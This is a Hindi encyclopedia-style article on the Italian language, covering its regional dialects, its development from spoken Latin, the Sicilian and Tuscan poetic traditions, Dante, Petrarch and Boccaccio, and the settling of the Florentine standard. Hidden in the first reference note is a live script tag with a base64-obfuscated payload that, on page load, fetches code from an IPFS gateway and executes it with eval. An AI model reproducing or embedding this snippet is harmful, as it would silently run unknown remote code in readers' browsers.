इतालवी भाषा

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आधुनिक इतालीय गणतंत्र की भाषा इतालवी है, किंतु कोर्सि का (फ्रांसीसी), त्रियेस्ते (यूगोस्लाविया) के कुछ भाग तथा सानमारीनो के छोटे से प्रजातंत्र में भी इतालवी बोली जाती है। इटली में अनेक बोलियाँ बोली जाती हैं जिनमें से कुछ तो साहित्यिक इतालवी से बहुत भिन्न प्रतीत होती हैं। इन बोलियों में परस्पर इतना भेद है कि उत्तरी इटली के लोंबार्द प्रांत का निवासी दक्षिणी इटली के कालाब्रिया की बोली शायद ही समझ सकेगा या रोम में रहनेवाला केवल साहित्यिक इतालवी जानने वाला विदेशी रोमानो बोली (रोम के त्राएतेवेरे मुहल्ले की बोली) को शायद ही समझ सकेगा। इतालवी बोलियों के नाम इतालवी प्रांतों की सीमाओं से थोड़े बहुत मिलते हैं। स्विट्ज़रलैंड से मिले हुए उत्तरी इटली के कुछ भागों में लादीन वर्ग की बोलियाँ बोली जाती हैं-जो रोमांस बोलियाँ हैं; स्विट्ज़रलैंड में भी लादीनी बोली जाती है। वेनत्सियन बोलियाँ इटली के उत्तरी पश्चिमी भाग में बोली जाती हैं, वेनिस नगर इसका प्रतिनिधि केंद्र कहा जा सकता है। पीमौते, लिगूरिया, लोंबार्दिया तथा एमीलिया प्रांतों में इन्हीं नामों की बोलियाँ बोली जाती हैं जो कुछ-कुछ फ्रांसीसी बोलियों से मिलती हैं। लातीनी के अंत्य स्वर का इनमें लोप हो जाता है-उदाहरणार्थ फात्तों (तोस्कानो), फेत्त (पीमोतेसे) ओत्तो, ओत (आठ)। तोस्काना प्रांत में तोस्काना वर्ग की बोलियाँ बोली जाती हैं। साहित्यिक इतालवी का आधार तोस्काना प्रांत की, विशेषकर फ्लोरेंस की बोली (फियोरेंतीबो) रही है। यह लातीनी केअधिक समीप कही जा सकती है। कंठ्य का महाप्राण उच्चारण इसकी प्रमुख विशेषता है-यथा कासा, कहासा (घर)। उत्तरी और दक्षिणी बोलियों के क्षेत्रों के बीच में होने के कारण भी इसमें दोनों वर्गों की विशेषताएँ कुछ-कुछ समन्वित हो गईं। उत्तरी कोर्सिका की बोली तोस्कानो से मिलती है। लान्सियो (रोम केंद्र), ऊंबिया (पेरूज्या केंद्र) तथा मार्के की बोलियों को एक वर्ग में रखा जा सकता है और दक्षिण की बोलियों में अब्रूज्जी, कांपानिया (नेपल्स प्रधान केंद्र), कालाब्रिया, पूल्या और सिसिली की बोलियाँ प्रमुख हैं-इनकी सबसे प्रमुख विशेषता लातीनी के संयुक्त व्यंजन ण्ड के स्थान पर न्न, म्ब के स्थान पर म्म, ल्ल के स्थान ड्ड का हो जाना सार्देन्या की बोलियाँ इतालवी से भिन्न हैं।

एक ही मूल स्रोत से विकसित होते हुए भी इनकी भिन्नता इन बोलियों में कदाचित्‌ लातीनी के भिन्न प्रकार से उच्चारण करने में आ गई होगी। बाहरी आक्रमणों का भी प्रभाव पड़ा होगा। इटली की बोलियों में सुंदर ग्राम्य गीत हैं जिनका अब संग्रह हो रहा है और अध्ययन भी किया जा रहा है। बोलियों में सजीवता और व्यंजनाशक्ति पर्याप्त है। नोपोलीतानो के लोकगीत तो काफी प्रसिद्ध हैं।

साहित्यिक भाषा-नवीं सदी के आरंभ की एक पहले 'इंदोवीनेल्लो वेरोनेसे' (वेरोना की पहले ) मिलती है जिसमें आधुनिक इतालवी भाषा के शब्दों का प्रयोग हुआ है। उसके पूर्व के भी लातीनी अपभ्रंश (लातीनो बोल्गारे) के प्रयोग लातीनी में लिखे गए हिसाब के कागजपत्रों में मिलते हैं जो आधुनिक भाषा के प्रारंभ की सूचना देते हैं। सातवीं और आठवीं सदी में लिखित पत्रों में स्थानों के नाम तथा कुछ शब्दों के रूप में मिलते हैं जो नवीन भाषा के द्योतक हैं। साहित्यिक लातीनी और जनसामान्य की बोली में धीरे-धीरे अंतर बढ़ता गया और बोली की लातीनी से ही आधुनिक इतालवी का विकास हुआ। इस बोली के अनेक नमूने मिलते हैं। सन्‌ 960 में मोंतेकास्सीनो के मठ की सीमा के पंचायत के प्रसंग में एक गवाही का बयान तत्कालीन बोली में मिलता है; इसी प्रकार की बोली तथा लातीनी अपभ्रंश में लिखित लेख रोम के संत क्लेमेंते के गिरजे में मिलता है। ऊंब्रिया तथा मार्के में भी 11वीं 12वीं सदी की भाषा के नमूने धार्मिक स्वीकारोक्तियों के रूप में मिलते हैं, किंतु इतालवी भाषा की पद्यबद्ध रचनाओं के उदाहरण सिसिली के सम्राट् फ्रेडरिक द्वितीय (13वीं सदी) के दरबारी कवियों के मिलते हैं। ये कविताएँ सिसिली की बोली में रची गई होंगी। श्रृंगार ही इन कविताओं का प्रधान विषय है। पिएर देल्ला विन्या, याकोपो द अक्वीनो आदि अनेक पद्यरचयिता फ्रेडरिक के दरबार में थे। वह स्वयं कवि था।[1]

वेनेवेत्तो के युद्ध के पश्चात्‌ साहित्यिक और सांस्कृतिक केंद्र सिसिली के बजाय तोस्काना हो गया जहाँ शृृंगारविषयक गीतिकाव्य की रचना हुई, गूइत्तोने देल वीवा द आरेज्जो (मृत्यु 1294 ई.) इस धारा का प्रधान कवि था। फ्लोरेंस, पीसा, लूक्का तथा आरेज्जो में इस काल में अनेक कवियों ने तत्कालीन बोली में कविताएँ लिखीं। बोलोन (इता. बोलोन्या) में साहित्यिक भाषा का रूप स्थिर करने का प्रयास किया गया। सिसिली और तोस्काना काव्यधाराओं ने साहित्यिक इतालवी का जो रूप प्रस्तुत किया उसे अंतिम और स्थिर रूप दिया 'दोल्चे स्तील नोवो' (मीठी नवीन शैली) के कवियों ने। इन कवियों ने कलात्मक संयम, परिष्कृत रुचि तथा परिमार्जित समृद्ध भाषा का ऐसा रूप रखा कि आगे की कई सदियों के इतालवी लेखक उसको आदर्श मानकर इसी में लिखते रहे। दांते अलीमिएरी (1265-1321) ने इसी नवीन शैली में, तोस्काना की बोली में, अपनी महान्‌ कृति 'दिवीना कोमेदिया' लिखी। दांते ने 'कोन्वीविओ' में गद्य का भी परिष्कृत रूप प्रस्तुत किया और गूइदो फाबा तथा गूइत्तोने द आरेज्जो की कृत्रिम तथा साधारण बोलचाल की भाषा से भिन्न स्वाभाविक गद्य का रूप उपस्थित किया। दांते तथा 'दोचे स्तील नोवो' के अन्य अनुयायियों में अग्रगण्य हैं फ्राेंचेस्को, पेत्रार्का और ज्वोवान्नी बोक्काच्यो। पेत्रार्का ने फ्लोरेंस की भाषा को परिमार्जित रूप प्रदान किया तथा उसे व्यवस्थित किया। पेत्रार्का की कविताओं और बोक्काच्चो की कथाओं ने इतालवी साहित्यिक भाषा का अत्यंत सुव्यवस्थित रूप सामने रखा। पीछे के लेखकों ने दांते, पेत्रार्का और बोक्काच्यो की कृतियों से सदियों तक प्रेरणा ग्रहण की। 15वीं सदी में लातीनी के प्राचीन साहित्य के प्रशंसकों ने लातीनी को चलाने की चेष्टा की और प्राचीन सभ्यता के अध्ययनवादियों (मानवतावादी-मैनिस्ट) ने नवीन साहित्यिक भाषा बनाने की चेष्टा की, किंतु यही लातीनी प्राचीन लातीनी से भिन्न थी। इस प्रवृत्ति के फलस्वरूप साहित्यिक भाषा का रूप क्या हो, यह समस्या खड़ी हो गई। एक दल विभिन्न बोलियों के कुछ तत्व लेकर एक नई साहित्यिक भाषा गढ़ने के पक्ष में था, एक दल तोस्काना, विशेषकर फ्लोरेंस की बोली को यह स्थान देने के पक्ष में था और एक दल, जिसमें पिएतरो बेंबो (1470-1587) प्रमुख था, चाहता था कि दांते, पेत्रार्का और बोक्काच्यो की भाषा को ही आदर्श माना जाए। मैकियावेली ने भी फियोरेंतीनो का ही पक्ष लिया। तोस्काना की ही बोली साहित्यिक भाषा के पद पर प्रतिष्ठित हो गई। आगे सन्‌ 1612 में क्रूस्का अकादमी ने इतालवी भाषा का प्रथम शब्दकोश प्रकाशित किया जिसने साहित्यिक भाषा के रूप को स्थिर करने में सहायता प्रदान की। 18वीं सदी में एक नई स्थिति आई। इतालवी भाषा पर फ्रेंच का अत्यधिक प्रभाव पड़ना शुरू हुआ। फ्रेंच विचारधारा, शैली, शब्दावली तथा वाक्यांशों से और मुहावरों के अनुवादों से इतालवी भाषा की गति रुग गई। फ्रांसीसी बुद्धिवादी आंदोलन उसका प्रधान कारण था। इतालवी भाषा के अनेक लेखकों-आल्गारोत्ती, वेर्री, बेक्‌कारिया-ने नि:संकोच फ्रेंच का अनुसरण किया। शुद्ध इतालवी के पक्षपाती इससे बहुत दु:खित हुए। मिलान के निवासी अलेस्सांद्रो मांजोनी (1775-1873) ने इस स्थिति को सुलझाया। राष्ट्र की एकता के लिए वे एक भाषा का होना आवश्यक मानते थे और फ्लोरेंस की भाषा को वे उस स्थान के उपयुक्त समझते समझते थे। अपने उपन्यास 'ई प्रोमेस्सी स्पोसी' (सगाई हुई) में फ्लोरेंस की भाषा का साहित्यिक आदर्श रूप उन्होंने स्थापित किया और इस प्रकार तोस्काना की भाषा ही अंतिम रूप से साहित्यिक भाषा बन गई। इटली के राजनीतिक एकता प्राप्त कर लेने के बाद यह समस्या निश्चित रूप से हल हो गई।[2]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 516-17 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. सं.ग्रे.-भा. स्क्याफ्फीनी : मोमेंती दी स्तोरिया देल्ला लिंगुआ इतालियाना, बारी, 1952; ज्याकोमो देवोतो-प्रोफीलो दी स्तोरिया लिंगु : इस्तीफा इतालियाना, फीरेंजे, 1953; आंजेलो मोंतेवेरदी : मानुआले दी आव्वियामेंतो आल्यी स्तूदी रोमांजी, मिलानो, 1952; ना. सापेन्यो : कांपेंदिओ दी स्तोरिया देल्ला लेत्तेरात्तूरा इतालियाना, 3 भाग, फीरेंज 1952।

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